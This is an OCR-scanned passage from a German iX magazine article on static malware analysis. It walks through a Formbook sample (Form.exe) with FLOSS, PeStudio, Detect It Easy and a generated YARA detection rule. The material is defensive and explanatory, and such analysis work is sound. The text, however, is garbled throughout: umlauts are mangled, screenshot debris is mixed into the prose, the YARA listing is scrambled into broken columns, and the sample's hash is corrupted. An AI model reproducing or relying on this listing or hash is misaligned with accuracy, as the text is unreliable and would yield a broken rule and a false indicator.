laut urlscan.io auf die Seite https://nsis.
sourceforge.io/NSIS_Error des Nullsoft
Scriptable Install System (NSIS), einer
Software zum Erstellen von Installati-
onsprogrammen fiir Windows.

Man kann ASCII- und Unicode-Strings
auch mit dem Tool FLOSS (FLARE Ob-
fuscated Strings Solver) extrahieren. Die-
ses kann auch automatisch verschleierte
(obfuscated) Zeichenketten mithilfe von
gingigen und proprietiren Algorithmen
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wie Base64 entschleiern. Angreifer fiigen
solche Zeichenketten in den Code der
Schadsoftware ein, um Analysten zu ver-
wirren und die Untersuchung zu er-
schweren. Aus Form.exe konnte FLOSS
79 Strings extrahieren und decodieren,
die jedoch leider keinen Sinn ergeben
(siehe Abbildung 11).

PE-Informationen auslesen

PeStudio extrahiert Informationen aus
dem PE-Format, insbesondere aus dem
Inhalt der Header. Die Alternative zu
PeStudio unter Linux ist peframe. Wie im
ersten Teil dieser Serie (iX 2/2023, Seite
98) erlautert, besteht das PE-Format aus
Sektionen und Headern, die importierte
Funktionen enthalten. Eine Analyse gibt
bereits einen ersten Einblick in die Fa-
higkeiten der ausfiithrbaren Datei. Ano-
malien, die PeStudio findet, werden un-
ter Indicators angezeigt. Am Beispiel von

ID&| Detect It Easy 1.01
Y

File name:

317714

Import Resource COverlay

EntryPoint:
MumberOfSections: 0005 > Si

installer
linker

overlay

Signatures

000030f1 = Ima

OfImage:

Form.exe berichtet das Tool, dass mehre-
re Zeichenketten und Importe auf einer
Blockliste stehen - es findet zudem die-
selbe URL wie pestr (siehe Abbildung 12).
Das Tool berechnet aufferdem den
Hashwert der Datei und insbesondere ih-
rer Sektionen - Gruppierungen von Code
und Daten. Die Ergebnisse sind unter
Sections aufgelistet. Das ist niitzlich, weil
eine kleine Anderung bereits ausreicht,
um den Hashwert der Datei zu verin-
dern. Die Hashwerte einer oder mehrerer
Sektionen kénnen so weiterhin als IoCs
dienen, da manche Malware die gleichen
Sektionen in anderen Versionen tiiber-
nimmt - und so leichter erkennbar ist.
Auflerdem gibt PeStudio an, welche Sek-
tionen ausfiihrbar, lesbar und schreibbar
sind. Die Sektionen von Form.exe sind
.text, .rdata, .data, .ndataund .rsrc,
wobei .rdata schreibgeschiitzte Pro-
grammdaten enthilt und .ndata die
Nullsoft-Installer-Sektion ist.

C:\Wsers'\REM\Desktop\Form. exe

Entropy

00400000

003b5000

Mullsoft Scriptable Install System{(2. 50) [bzipZ] 5
Microsoft Linker(6.0)[EXE32]
NSIS data()[]

Options
About

172 ms

Detect It Easy (DIE) ist auf das Erkennen von Packern spezialisiert - Form.exe liegt aller-

dings unverpackt vor (Abb. 14).
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Listing: YaraGenerator erstellt eine dedizierte YARA-Regel fiir Form.exe

rule Formbook $string6

{ $string7

meta: $string8
author = "Anonymous" $string9
date = "2023-01-04" $stringl0
hashO® = "32831c7b56f01d2c736ac41lch9lelaaf" $stringll
sample_filetype = "unknown" $stringl2
yaragenerator = "https://github.com/Xen@phon/ $stringl3

YaraGenerator" $stringld

strings: $stringl5
$stringd® = ";@G6KY" $stringl6
$stringl = "GetLastError" $stringl?
$string2 = "OleInitialize" $stringl8
$string3 = "NSIS Error" condition:
$string4 = "CreateFontIndirectA" 18 of the
$string5 = "Y95arB" }

"SelectObject"
"G2h\\U0O"
"2_dv<]"

"xml version"
"<{j,Jh"
"QXWg1lMCk"
"CopyFileA"
"CloseHandle"
"\\kémb_Q"
".ndata"
"RegisterClassA"
"RemoveDirectoryA"

" o oot
e %0%%

Unter Imports finden sich auffillige
API-Aufrufe, die anderen Programmen
die Moglichkeit geben, mit dem Pro-
gramm zu kommunizieren. Sie auszule-
sen, liefert ebenfalls wertvolle Informa-
tionen zum Vorgehen der Malware. Bei
Form.exe hat PeStudio unter anderem
CreateProcessA und ShellExecuteA als
verddchtig eingestuft. Der erste API-Call
kann auf eine Prozessinjektion hinweisen,
wenn er in Verbindung mit WritProcess
Memory und CreateRemoteThread gefun-
den wird. Der zweite deutet auf eine Pro-
zessausfithrung hin. Dariiber hinaus wer-
den ein paar MITRE-ATT&CK-Techni-
ken aufgefiihrt, darunter T1112 Modify
Registry und T1012 Query Registry,
die nahelegen, dass die Malware mit der
Windows-Registrierung interagiert, wo-
moglich mit dem Ziel, Informationen
iiber das System zu sammeln und die Re-
gistry fiir Persistenz und Ausfiithrung aus-
zunutzen.

PeStudio listet auch die gefundenen
Zeichenketten auf, priift, ob sie sich auf
Blocklisten befinden, und gibt, wenn be-
kannt, an, welchen MITRE-Techniken sie
entsprechen (siehe Abbildung 13). Hier
wurde fiir Form.exe dieselbe URL wie mit
pestrund Pfade wie Software\Microsoft\
Windows\CurrentVersion gefunden, was
dem Anfang des Pfades der Autostart-Ein-
triage in der Registry entspricht. API-Calls
sind ebenfalls aufgelistet.

Wenn es sich bei der Malware um ei-
nen Dropper handelt, der eine zusatzli-
che abzulegende Datei in seinem Code
enthilt, wird diese unter Resources ange-
zeigt. Bei Form.exe ist das jedoch nicht
der Fall. PeStudio kann auch die Resul-
tate von VirusTotal mitteilen, wenn es in
einer Umgebung mit Internetverbindung
ausgefiithrt wird.

Ist die Datei digital signiert, zeigt Pe-
Studio das Zertifikat an. Die meiste Schad-
software ist entweder nicht signiert oder
benutzt ein illegitimes oder gestohlenes
Zertifikat. Eigentlich bietet eine Signatur
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die Basis dafiir, darauf zu vertrauen, dass
der Code nicht nachtréglich verdndert
wurde - auflerdem hilft er dabei, die Her-
kunft des Codes zu identifizieren. Signier-
te Malware hat es daher leichter, sich zu
verbreiten und zu verstecken. Sollte die
Malware jedoch jemals entdeckt werden,
konnte das Code-Signing-Zertifikat wi-
derrufen und zu einer Certificate Revo-
cation List (CRL) hinzugefiigt werden. So
konnte Sicherheitssoftware sie leicht er-
kennen.

Packer durchleuchten

Um die Analyse zu erschweren, verpa-
cken Angreifer die Malware manchmal.
Packing ist eine Technik, die Daten oder
Software verschliisselt und sie dann zu-
sammen mit einem Entschliisselungs-
programm in einer Datei zusammenbin-
det. Das verpackte Programm entpackt
sich wihrend der Ausfithrung selbst in
den Arbeitsspeicher. Detect It Easy (DIE)
und Exeinfo PE kénnen solche Packer er-
kennen und durch Untersuchen der PE-
Header feststellen, welche Tools zum Er-
zeugen der ausfithrbaren Datei verwen-
det wurden.

Nachdem man den Namen des ver-
mutlich verwendeten Packers ermittelt
hat, muss man dessen Schutz umgehen.
Wenn das nicht funktioniert, hilft Re-
verse Engineering, um herauszufinden,
wie sich der Packer entpacken lisst. Ein
bekannter Packer ist UPX (Ultimate Pa-
cker for Executables) - einer der wenigen
mit eingebauter Entpackfunktion. Zum
Teil manipulieren Angreifer ihre Schad-
programme daher so, dass UPX die Datei
nicht automatisch entpacken kann. An-
dere Packer sind FSG oder PEcompact.

Es gibt mehrere Indikatoren, die anzei-
gen, ob eine Datei verpackt ist, darunter
eine hohe Entropie, also ein hoher Grad
an Zufilligkeit in der Datei. Dateien, die
verschliisselt, verschleiert, komprimiert
oder verpackt sind, haben eine hohe inhé-

rente Zufilligkeit. Die von Tools verwen-
dete Skala reicht dabei von 0.0 (nicht zu-
fallig) bis 8.0 (v6llig zufillig). Ein weiterer
Indikator ist, dass die Datei nur wenige
lesbare Zeichenketten und wenige Funk-
tionen enthailt. Sie kann auch Strings ent-
halten, von denen bekannt ist, dass sie von
Packern verwendet werden. Allerdings
ist nicht jede Schadsoftware verpackt,
Form.exe liegt zum Beispiel unverpackt
vor. Thre Entropie liegt jedoch bei 7.685,
da sie viele lesbare Zeichenketten und
Funktionen enthélt. Dariiber hinaus wur-
de sie mit Nullsoft Scriptable Install Sys-
tem und Microsoft Linker erstellt (siehe
Abbildung 14), die keine Packer sind.

Mit YARA abgleichen

Nach der Analyse des Office- oder PDF-
Dokuments oder der statischen Eigen-
schaften einer ausfiihrbaren Datei ist
nicht immer klar, ob es sich tatsdchlich
um Malware handelt beziehungsweise
welche es ist. Signaturbasierte Erken-
nung hilft dabei, verdichtige Dateien
schnell zu charakterisieren. Das Open-
Source-Framework YARA durchsucht
Dateien oder den Speicher von Prozessen
nach iibereinstimmenden Mustern an-
hand von YARA-Regeln. Letztere lassen
sich nutzen, um nach Schadsoftware zu
suchen und Malware-Muster zu klassifi-
zieren oder zu kategorisieren. Sie lassen
sich zudem im Priventionsmodus bei
Gatewaykontrollen verwenden. Jede Re-
gel besteht aus einer Reihe von Strings
und einer booleschen Formel, die ihre
Logik bestimmt. Der Strings-Abschnitt
listet die Zeichenketten als Text und im
Binirformat auf, wonach YARA in den
Dateien sucht. Der Bedingungsabschnitt
definiert die Formel, die angibt, welche
Strings gefunden werden sollen und un-
ter welchen Bedingungen, damit die Re-
gel ausgelost wird. Ziel ist es, eine Signa-
tur zu erstellen, die spezifisch genug ist,
um Fehlalarme zu vermeiden, gleichzei-
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tig aber breit genug, um verschiedene Va-
rianten desselben Malware-Musters zu
erkennen.

Eine mit dem Tool YaraGenerator fiir
die Datei Form.exe generierte YARA-Re-
gel enthélt einen Meta-Abschnitt mit zu-
sdtzlichen Informationen und Kontext
tiber die Regel, wie Autor und Daten, ei-
nen Strings-Abschnitt, der die fiir diese
spezielle Regel niitzlichen Muster ent-
hilt - hier die in Form.exe enthaltenen
Zeichenketten, die pestr und FLOSS im
Vorfeld gefunden haben -, sowie eine Be-
dingung, die angibt, dass die Regel dann
greift, wenn alle Strings gefunden wer-
den (siehe Listing). Wenn der Ordner
Desktop dann mit der generierten Re-
gel Formbook. yar gescannt wird, erkennt
YARA die Datei Form.exe.

Neben einem eigensténdigen YARA-
Tool gibt es YARA als Modul, das in an-
dere Werkzeuge wie pdf-parser, oledump
oder clamav integriert ist. IoC-Scanner
wie Loki verwenden ebenfalls YARA-Re-
geln. Repositorys von YARA-Regeln sind
auf GitHub verfiigbar. YARA-Scans kon-
nen auch Treffer im Arbeitsspeicher lau-
fender Prozesse finden. Der Bericht von
JoeSandbox (iX 2/2023, Seite 98) zeigt,

dass YARA-Regeln bei Speicherdumps so-
wie bei der Datei aziztwhel.exe ausgelost
wurden. Insbesondere die Regel von Felix
Bilstein, die auch auf Malpedia zu finden
ist, und die Regel von JPCERT Coordina-
tion Center l6sten fiir Formbook aus (un-
ter ix.de/zbad zu finden). Es ist somit
wahrscheinlich, dass es sich tatséichlich
um die Formbook-Malware handelt.

Fazit

Haufig dienen E-Mail-Anhéinge in Form
von PDF- oder Office-Dokumenten als
Einfallstor zu Unternehmen. Eine stati-
sche Analyse kann schnell und mit gerin-
gem Aufwand offenbaren, ob erhaltene
Dokumente bosartig sind und welche Ei-
genschaften sie aufweisen. Wenn der
Code stark verschleiert ist, ist allerdings
eine tiefere Codeanalyse erforderlich
oder eine dynamische Analyse ange-
bracht. Die statische Analyse hilft aber
dabei, erste Hypothesen zur Arbeitswei-
se der Schadsoftware aufzustellen. Eine
dynamische Analyse der ausfithrbaren
Datei ermoglicht es anschlieflend, diese
Vermutungen zu bestitigen oder zu wi-
derlegen. Der nichste und gleichzeitig

letzte Teil der Serie in der kommenden
iX-Ausgabe widmet sich deshalb genau
diesem letzten Baustein einer erfolgrei-
chen Malware-Analyse. (kki@ix.de)
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